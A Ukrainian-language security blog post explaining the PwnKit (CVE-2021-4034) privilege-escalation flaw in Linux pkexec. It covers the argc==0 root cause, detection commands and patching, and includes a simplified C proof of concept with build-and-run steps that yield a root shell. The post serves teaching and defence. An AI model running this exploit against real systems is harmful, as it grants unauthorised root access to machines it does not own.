Research / PwnKit (CVE-2021-4034): 12 років непомітна root-вразливість у Linux
RESEARCH
UA EN

PwnKit (CVE-2021-4034): 12 років непомітна root-вразливість у Linux

✍ admin 📅 30.06.2026 👁 104

CVE-2021-4034 — PwnKit

CVSS: 7.8 (High) · Дата розкриття: 25 січня 2022 · Компонент: Polkit pkexec (Linux) · Вік вразливості: 12+ років (з 2009)

PwnKit — вразливість у pkexec, SUID-бінарнику, що входить до складу Polkit і встановлений за замовчуванням практично в усіх основних Linux-дистрибутивах (Ubuntu, Debian, Fedora, CentOS, RHEL...). Вразливість дозволяє будь-якому непривілейованому користувачу отримати root буквально кількома командами.


Що таке pkexec

pkexec — аналог sudo, частина Polkit (PolicyKit), дозволяє виконувати команди з підвищеними привілеями згідно політики авторизації. Бінарник встановлений з SUID-біт, тобто завжди виконується з правами root, незалежно від того хто його запустив.

$ ls -la /usr/bin/pkexec
-rwsr-xr-x 1 root root 36936 ... /usr/bin/pkexec
#  ^ SUID біт — виконується як root

Корінь проблеми — обробка argv[0]

pkexec отримує аргументи командного рядка через main(int argc, char **argv). Якщо програма викликається без жодних аргументів (argc == 0) — а це можливо через системний виклик execve() з порожнім масивом аргументів — pkexec все одно намагається звернутись до argv[1] для визначення команди, яку треба виконати.

// Спрощена вразлива логіка в main()
int main(int argc, char *argv[]) {
    // ...
    if (argc < 2) {
        // argv[1] не існує, але код все одно намагається його читати
        // через помилку в обробці шляху до бінарника
    }
    path = g_find_program_in_path(argv[1]);  // argv[1] виходить за межі масиву
    // ...
}

Через відсутність перевірки argc == 0, функція читає пам'ять за межами виділеного масиву argv — це фактично читає змінні середовища (envp), які в пам'яті процесу розташовані одразу після argv.

Зловмисник контролює envp (змінні середовища) — і може підставити туди шлях до власної shared-бібліотеки через GCONV_PATH або подібні змінні, яку pkexec завантажить з правами root.


Ланцюг експлуатації

1. Викликаємо pkexec з argc=0 (порожній argv) через execve()
2. pkexec намагається інтерпретувати envp як argv
3. Підставляємо GCONV_PATH=/tmp/evil у середовище
4. pkexec викликає g_printerr() → завантажує message catalog
   через функцію iconv_open(), яка читає GCONV_PATH
5. Завантажується наша шкідлива .so бібліотека з /tmp/evil
6. Код в конструкторі бібліотеки виконується з правами root

PoC (для ізольованого лабораторного середовища — НЕ для продакшн-систем):

// pwnkit.c — спрощена ідея експлойту (повний PoC: github.com/arthepsy/CVE-2021-4034)
#include <stdio.h>
#include <unistd.h>

char *argv[] = { NULL };
char *envp[] = {
    "PATH=GCONV_PATH=.",
    "CHARSET=PWNKIT",
    "SHELL=/bin/sh",
    NULL
};

int main(void) {
    execve("/usr/bin/pkexec", argv, envp);  // argc == 0!
    return 0;
}
gcc -o pwnkit pwnkit.c
mkdir -p GCONV_PATH/PWNKIT
# ... компіляція шкідливої gconv-бібліотеки, що спавнить shell
./pwnkit
# id
# uid=0(root) gid=0(root) groups=0(root)

Чому 12 років непоміченою

  • Код pkexec практично не змінювався з моменту першого релізу Polkit у 2009
  • argc == 0 — настільки нетиповий edge-case, що рев'юери коду його просто не розглядали
  • Це локальна вразливість (потребує доступу до системи) — менш пріоритетна для security-аудиту ніж remote-вектори
  • Знайдена дослідниками Qualys під час рутинного аудиту SUID-бінарників

Виявлення вразливих систем

# Перевірка версії polkit
pkexec --version
dpkg -l | grep policykit   # Debian/Ubuntu
rpm -qa | grep polkit      # RHEL/Fedora

# Вразливі версії: 0.105–0.119 (до патчу)
# Виправлено в 0.120 (січень 2022)

Мітигація

# Швидкий workaround — прибрати SUID-біт (ламає легітимний функціонал pkexec)
sudo chmod 0755 /usr/bin/pkexec

# Правильне рішення — оновити пакет
sudo apt update && sudo apt upgrade policykit-1     # Debian/Ubuntu
sudo dnf update polkit                              # Fedora/RHEL

Висновки для pentester'а

  • SUID-бінарники — завжди топ-пріоритет в Linux privilege escalation enumeration (find / -perm -4000 2>/dev/null)
  • Вразливість 12 років пролежала у коді, який мільярди систем запускали щодня — нагадування що "стабільний і давній" не означає "безпечний"
  • PwnKit — приклад memory safety bug через відсутність елементарної перевірки (argc == 0) — клас помилок, який C/C++ системно провокує
  • Після PwnKit і подібних знахідок (Qualys), SUID-бінарники в усіх дистрибутивах пройшли додатковий аудит — гарний приклад впливу одного дослідження на екосистему
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?